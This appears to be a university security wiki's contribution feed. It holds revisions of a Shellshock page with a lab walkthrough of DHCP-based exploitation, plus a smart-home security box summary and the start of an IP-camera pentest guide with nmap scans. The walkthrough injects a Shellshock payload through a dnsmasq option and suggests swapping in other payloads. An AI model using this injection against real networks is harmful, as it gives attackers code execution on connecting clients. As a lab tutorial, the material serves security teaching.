<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=RCox</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=RCox"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/RCox"/>
	<updated>2026-09-10T16:27:18Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IT-S_in_a_Box&amp;diff=11515</id>
		<title>IT-S in a Box</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IT-S_in_a_Box&amp;diff=11515"/>
		<updated>2023-02-26T11:42:03Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation summarizes the master&#039;s thesis of Asmir Turanovic called &amp;quot;Smart Home Security Box – a Practical Evaluation&amp;quot;. A software is built from open-source modules, which helps everyday users to monitor and protect their network from intruders.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 20.04&lt;br /&gt;
* Raspberry Pi 4&lt;br /&gt;
* 16 GB SD card&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The Security Box supports the user in keeping an overview of their network.&lt;br /&gt;
With solutions such as a URL blacklist, dubious sites can be blocked based on their domain or URL.&lt;br /&gt;
It is also possible to define different categories and to block websites or domains on the basis of user-defined lists.&lt;br /&gt;
If a website is to be explicitly prevented from being blocked, this is possible with the help of whitelisting. The next technology used is an intrusion detection system (IDS). This is software that detects exploited vulnerabilities in the network.&lt;br /&gt;
&lt;br /&gt;
The steps of the installation can be found on the [https://git.fh-campuswien.ac.at/its-m/sicherheitsbox/ GitLab] page of the project.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://git.fh-campuswien.ac.at/its-m/sicherheitsbox&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IT-S_in_a_Box&amp;diff=11514</id>
		<title>IT-S in a Box</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IT-S_in_a_Box&amp;diff=11514"/>
		<updated>2023-02-26T11:41:44Z</updated>

		<summary type="html">&lt;p&gt;RCox: Created page with &amp;quot;== Summary ==   This documentation summarizes the master&amp;#039;s thesis of Asmir Turanovic called &amp;quot;Smart Home Security Box – a Practical Evaluation&amp;quot;. A software is built from open-source modules, which helps everyday users to monitor and protect their network from intruders.  == Requirements ==  * Operating system: Ubuntu 20.04 * Raspberry Pi 4 * 16 GB SD card  In order to complete these steps, you must have followed Some Other Documentation before.  == Description ==  T...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation summarizes the master&#039;s thesis of Asmir Turanovic called &amp;quot;Smart Home Security Box – a Practical Evaluation&amp;quot;. A software is built from open-source modules, which helps everyday users to monitor and protect their network from intruders.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 20.04&lt;br /&gt;
* Raspberry Pi 4&lt;br /&gt;
* 16 GB SD card&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Some Other Documentation]] before.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The Security Box supports the user in keeping an overview of their network.&lt;br /&gt;
With solutions such as a URL blacklist, dubious sites can be blocked based on their domain or URL.&lt;br /&gt;
It is also possible to define different categories and to block websites or domains on the basis of user-defined lists.&lt;br /&gt;
If a website is to be explicitly prevented from being blocked, this is possible with the help of whitelisting. The next technology used is an intrusion detection system (IDS). This is software that detects exploited vulnerabilities in the network.&lt;br /&gt;
&lt;br /&gt;
The steps of the installation can be found on the [https://git.fh-campuswien.ac.at/its-m/sicherheitsbox/ GitLab] page of the project.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://git.fh-campuswien.ac.at/its-m/sicherheitsbox&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Shellshock&amp;diff=10959</id>
		<title>Shellshock</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Shellshock&amp;diff=10959"/>
		<updated>2023-01-08T17:51:16Z</updated>

		<summary type="html">&lt;p&gt;RCox: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation is about the Shellshock bug found in 2014.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04&lt;br /&gt;
* Packages: dnsmasq&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
&lt;br /&gt;
=== Initial Discovery ===&lt;br /&gt;
&lt;br /&gt;
On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed  and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.&lt;br /&gt;
&lt;br /&gt;
=== Discovery of a bigger problem ===&lt;br /&gt;
&lt;br /&gt;
After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence &amp;quot;() \{&amp;quot;. As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.&lt;br /&gt;
&lt;br /&gt;
=== Aftermath ===&lt;br /&gt;
&lt;br /&gt;
The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn&#039;t fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.&lt;br /&gt;
&lt;br /&gt;
== Functionality ==&lt;br /&gt;
&lt;br /&gt;
The  Shellshock  vulnerability  is  enumerated  as  an  improper  neutralization  of  specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof  Standards  and  Technology.   It  can  be  exploited  to  give  an  attacker  remote  codeexecution.  The vulnerability occurs when defining a environment variable.  So basicallyevery system where an attacker could control the content of an environment variablewas exploitable.  This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.&lt;br /&gt;
&lt;br /&gt;
With  the  export  command,  it  is  possible  to  export  shell  variables  but  also  shellfunctions.  In the bash version with the Shellshock vulnerability a function definitionstarted  with  ”(){”  in  the  value  of  the  exported  variable.   The  vulnerability  existedbecause  bash  does  not  stop  processing  after  the  function  definition,  it  continues  toparse and execute shell commands.Environment variables can be defined with the following command:&lt;br /&gt;
 env variablename=&#039;&amp;lt;value&amp;gt;&#039;&lt;br /&gt;
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:&lt;br /&gt;
 env x=&#039;() { :; }; &amp;lt;exploit code&amp;gt;&#039;&lt;br /&gt;
&lt;br /&gt;
== Types ==&lt;br /&gt;
&lt;br /&gt;
=== Apache CGI ===&lt;br /&gt;
&lt;br /&gt;
Apache CGI is a technology to dynamically load content of a website. This is done via script, which can be written in any programming language.&lt;br /&gt;
This type of the attack mostly uses the User-Agent field of a request. The field&#039;s value is set to the Shellshock command, which typically opens a reverse TCP-Shell to the attacker. As soon as the request is sent and processed by the targeted webserver, the attacker has total control over it.&lt;br /&gt;
&lt;br /&gt;
=== OpenSSH ===&lt;br /&gt;
&lt;br /&gt;
Similar to Apache CGI, the OpenSSH attack is used to open a shell on the target. This can even go as far that Shellshock bypasses Multi-Factor Authentication.&lt;br /&gt;
For this, the attacker uses the -t switch of the SSH command, which is used to execute addition command. The value will be the Shellshock command, which the attacker wants the target to execute.&lt;br /&gt;
&lt;br /&gt;
=== DHCP ===&lt;br /&gt;
&lt;br /&gt;
Shellshock can also be exploited via DHCP. In that case, the attacker needs to set up a fake Access Point, which runs a DHCP service. Then, in the DHCP options, the attacker needs to set the value of any string based field to the Shellshock command to be executed. When a target connects to the fake AP, the command will be executed and the attacker has control over the target.&lt;br /&gt;
&lt;br /&gt;
== Practical Shellshock DHCP Example ==&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.&lt;br /&gt;
For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.&lt;br /&gt;
&lt;br /&gt;
=== Check Vulnerablity ===&lt;br /&gt;
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:&lt;br /&gt;
 env x=&#039;() { :;}; echo shellshocked&#039; bash -c &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Install &amp;amp; Configurating DNSMASQ ===&lt;br /&gt;
First we have to install the package dnsmasq:&lt;br /&gt;
 apt-get install dnsmasq&lt;br /&gt;
&lt;br /&gt;
After successfully installing dnsmasq we have to configure it. We can do that in the &#039;&#039;/etc/dnsmasq.conf&#039;&#039;. I changed the following lines:&lt;br /&gt;
 port=0  &lt;br /&gt;
 interface=ens33&lt;br /&gt;
 dhcp-range=192.168.123.10,192.168.123.250,12h&lt;br /&gt;
 dhcp-option-force=100,() { :; }; echo pwned&lt;br /&gt;
&lt;br /&gt;
Now we need to restart the service and check if any errors occured.&lt;br /&gt;
 service dnsmasq restart&lt;br /&gt;
 service dnsmasq status&lt;br /&gt;
&lt;br /&gt;
=== Configurating Client &amp;amp; Server IPs ===&lt;br /&gt;
==== Server ====&lt;br /&gt;
&lt;br /&gt;
We have to give the server machine a static ip address. I did it with netplan. If it isn&#039;t already installed you can install it with&lt;br /&gt;
 apt-get install netplan&lt;br /&gt;
&lt;br /&gt;
Now we have to edit the file &#039;&#039;/etc/netplan/01-network.yaml&#039;&#039;. My netplan looks as follows:&lt;br /&gt;
&lt;br /&gt;
 network:&lt;br /&gt;
   version: 2&lt;br /&gt;
   renderer: networkd&lt;br /&gt;
   ethernets:&lt;br /&gt;
     ens33:&lt;br /&gt;
       addresses:&lt;br /&gt;
         - 192.168.123.1/24&lt;br /&gt;
&lt;br /&gt;
After saving the file we need to apply the netplan we can do that with the command&lt;br /&gt;
 sudo netplan apply&lt;br /&gt;
&lt;br /&gt;
To check if the network interface got configured we can perform the command&lt;br /&gt;
 ifconfig&lt;br /&gt;
&lt;br /&gt;
==== Client ====&lt;br /&gt;
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the &#039;&#039;/etc/network/interfaces&#039;&#039; file as follows:&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet dhcp&lt;br /&gt;
&lt;br /&gt;
=== Perform the attack ===&lt;br /&gt;
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:&lt;br /&gt;
 sudo /etc/init.d/networking restart&lt;br /&gt;
&lt;br /&gt;
As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021/2022)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation&lt;br /&gt;
* https://dwheeler.com/essays/shellshock.html&lt;br /&gt;
* https://ftp.gnu.org/gnu/bash/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Shellshock&amp;diff=10954</id>
		<title>Shellshock</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Shellshock&amp;diff=10954"/>
		<updated>2023-01-08T17:38:47Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Functionality */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation is about the Shellshock bug found in 2014.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04&lt;br /&gt;
* Packages: dnsmasq&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
&lt;br /&gt;
=== Initial Discovery ===&lt;br /&gt;
&lt;br /&gt;
On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed  and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.&lt;br /&gt;
&lt;br /&gt;
=== Discovery of a bigger problem ===&lt;br /&gt;
&lt;br /&gt;
After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence &amp;quot;() \{&amp;quot;. As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.&lt;br /&gt;
&lt;br /&gt;
=== Aftermath ===&lt;br /&gt;
&lt;br /&gt;
The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn&#039;t fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.&lt;br /&gt;
&lt;br /&gt;
== Functionality ==&lt;br /&gt;
&lt;br /&gt;
The  Shellshock  vulnerability  is  enumerated  as  an  improper  neutralization  of  specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof  Standards  and  Technology.   It  can  be  exploited  to  give  an  attacker  remote  codeexecution.  The vulnerability occurs when defining a environment variable.  So basicallyevery system where an attacker could control the content of an environment variablewas exploitable.  This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.&lt;br /&gt;
&lt;br /&gt;
With  the  export  command,  it  is  possible  to  export  shell  variables  but  also  shellfunctions.  In the bash version with the Shellshock vulnerability a function definitionstarted  with  ”(){”  in  the  value  of  the  exported  variable.   The  vulnerability  existedbecause  bash  does  not  stop  processing  after  the  function  definition,  it  continues  toparse and execute shell commands.Environment variables can be defined with the following command:&lt;br /&gt;
 env variablename=&#039;&amp;lt;value&amp;gt;&#039;&lt;br /&gt;
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:&lt;br /&gt;
 env x=&#039;() { :; }; &amp;lt;exploit code&amp;gt;&#039;&lt;br /&gt;
&lt;br /&gt;
== Practical Shellshock DHCP Example ==&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.&lt;br /&gt;
For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.&lt;br /&gt;
&lt;br /&gt;
=== Check Vulnerablity ===&lt;br /&gt;
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:&lt;br /&gt;
 env x=&#039;() { :;}; echo shellshocked&#039; bash -c &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Install &amp;amp; Configurating DNSMASQ ===&lt;br /&gt;
First we have to install the package dnsmasq:&lt;br /&gt;
 apt-get install dnsmasq&lt;br /&gt;
&lt;br /&gt;
After successfully installing dnsmasq we have to configure it. We can do that in the &#039;&#039;/etc/dnsmasq.conf&#039;&#039;. I changed the following lines:&lt;br /&gt;
 port=0  &lt;br /&gt;
 interface=ens33&lt;br /&gt;
 dhcp-range=192.168.123.10,192.168.123.250,12h&lt;br /&gt;
 dhcp-option-force=100,() { :; }; echo pwned&lt;br /&gt;
&lt;br /&gt;
Now we need to restart the service and check if any errors occured.&lt;br /&gt;
 service dnsmasq restart&lt;br /&gt;
 service dnsmasq status&lt;br /&gt;
&lt;br /&gt;
=== Configurating Client &amp;amp; Server IPs ===&lt;br /&gt;
==== Server ====&lt;br /&gt;
&lt;br /&gt;
We have to give the server machine a static ip address. I did it with netplan. If it isn&#039;t already installed you can install it with&lt;br /&gt;
 apt-get install netplan&lt;br /&gt;
&lt;br /&gt;
Now we have to edit the file &#039;&#039;/etc/netplan/01-network.yaml&#039;&#039;. My netplan looks as follows:&lt;br /&gt;
&lt;br /&gt;
 network:&lt;br /&gt;
   version: 2&lt;br /&gt;
   renderer: networkd&lt;br /&gt;
   ethernets:&lt;br /&gt;
     ens33:&lt;br /&gt;
       addresses:&lt;br /&gt;
         - 192.168.123.1/24&lt;br /&gt;
&lt;br /&gt;
After saving the file we need to apply the netplan we can do that with the command&lt;br /&gt;
 sudo netplan apply&lt;br /&gt;
&lt;br /&gt;
To check if the network interface got configured we can perform the command&lt;br /&gt;
 ifconfig&lt;br /&gt;
&lt;br /&gt;
==== Client ====&lt;br /&gt;
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the &#039;&#039;/etc/network/interfaces&#039;&#039; file as follows:&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet dhcp&lt;br /&gt;
&lt;br /&gt;
=== Perform the attack ===&lt;br /&gt;
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:&lt;br /&gt;
 sudo /etc/init.d/networking restart&lt;br /&gt;
&lt;br /&gt;
As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021/2022)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation&lt;br /&gt;
* https://dwheeler.com/essays/shellshock.html&lt;br /&gt;
* https://ftp.gnu.org/gnu/bash/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=10150</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=10150"/>
		<updated>2022-06-22T09:09:23Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud and/or MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Pre-Engagement Interactions&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Working with a client to absolutely outline and report evaluation objectives, scope, and policies of engagement. &lt;br /&gt;
There are three ways to run the test. In our case, the tester is doing a black-box test, which means the tester doesn&#039;t know anything about the system to be tested, i.e. he/she has to act as a hacker. The pentester needs to create a contract with the client on when, how, and what to test.&lt;br /&gt;
In addition, there should be a privilege explanation and a non-disclosure agreement between the pentester and the client. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Collecting and examing key data regarding the software and its infrastructure. We recommend creating an architectural sketch (deployment diagram).&lt;br /&gt;
The camera software itself may not be threateningly modelable, but you need to identify the protocol for all the surrounding systems that the camera needs to communicate with. After that, you should identify who uses the protocol and who accesses them.&lt;br /&gt;
&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Threat Modeling&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Threat modeling is an established technique of figuring out and prioritizing ability threats to a system and figuring out the value that ability mitigations might have in decreasing or neutralizing one&#039;s threats. A threat is a set of situations that might purpose harm, which means a hypothetical action where the attacker exploits a vulnerability.&lt;br /&gt;
3 main types of threats in the IoT are &amp;lt;b&amp;gt;taking control, stealing information, and disrupting service.&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
The OWASP Top 10 is a standard awareness document that represents a broad consensus about the most critical security risks to web applications.&lt;br /&gt;
This includes the following top 10 IOT vulnerabilities: weak passwords, insecure network services, insecure ecosystem interfaces, lack of secure update mechanism, use of insecure or outdated components, insufficient privacy protection, insecure data transfer and storage, lack of device management, insecure default settings and lack of physical hardening. &amp;lt;br&amp;gt;&lt;br /&gt;
These elements should be considered: IoT device, cloud, mobile application, network interfaces, software, use of encryption, use of authentication, physical security, and USB ports. &lt;br /&gt;
Suppose you have an IP camera installed and you want to log in remotely to monitor your home situation. Such a simple implementation poses many risk factors and creates a  huge attack surface in the environment. An attacker could remotely scan for a vulnerability in an IP camera, brute force, connect (if you have a backdoor or the same hard-coded SSH key), and exploit it.&lt;br /&gt;
&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Vulnerability Analysis&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase. Exploitation can be software, shellcode, certain commands, code injection, remote exploits without any prior access, and local exploits with prior access to the system. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Post Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;After successful exploitation, it&#039;s far crucial to report all steps and tools - so that you can demonstrate the impact and possible consequences of the vulnerabilities to the client.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Providing a complete report with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. It consists of two parts: &amp;lt;b&amp;gt;An executive summary and a technical report.&amp;lt;/b&amp;gt; The executive summary provides a background overview, test overview, risk profile, general findings, an overview of the tasks required to mitigate the problem, and short-term and long-term goals to improve security increase. &lt;br /&gt;
It is important to document how easy it was to find this vulnerability and what the countermeasures are. The risk analysis is the most important part because the pentester needs to consider how high the risks of the detected vulnerabilities are and how these vulnerabilities could affect the company.&lt;br /&gt;
These results are used to make company decisions that could have a significant impact on the company. &lt;br /&gt;
The technical report details the intelligence collection and vulnerability testing results, and the client&#039;s internet footprint.&lt;br /&gt;
&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Resolution &amp;amp; Re-Testing&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt; The client follows the recommendations and after completing patching the vulnerabilities a re-test is run. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Set-up ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
We recommend that you create a virtual machine and after that, you need to install Kali Linux on your VM. With this operating system, many tools are already pre-installed and ready to use.&lt;br /&gt;
&lt;br /&gt;
=== Scanning Tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Nmap Scans will give you important information about the target system.&lt;br /&gt;
&lt;br /&gt;
Target specification:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt;            &amp;lt;i&amp;gt;Scan a single IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Firstscan.jpg | 400px]] || [[File:Firstscan ezviz.jpg | 400px]] || [[File:Firstscan abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DNS query on a specific host:&lt;br /&gt;
 $sudo namp -sL &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Dsn tplink.jpg |400px]] || [[File:Dsn ezviz.png | 400px]] || [[File:Dns abuss.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Force reverse DNS resolution:&lt;br /&gt;
 $sudo nmap -R &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
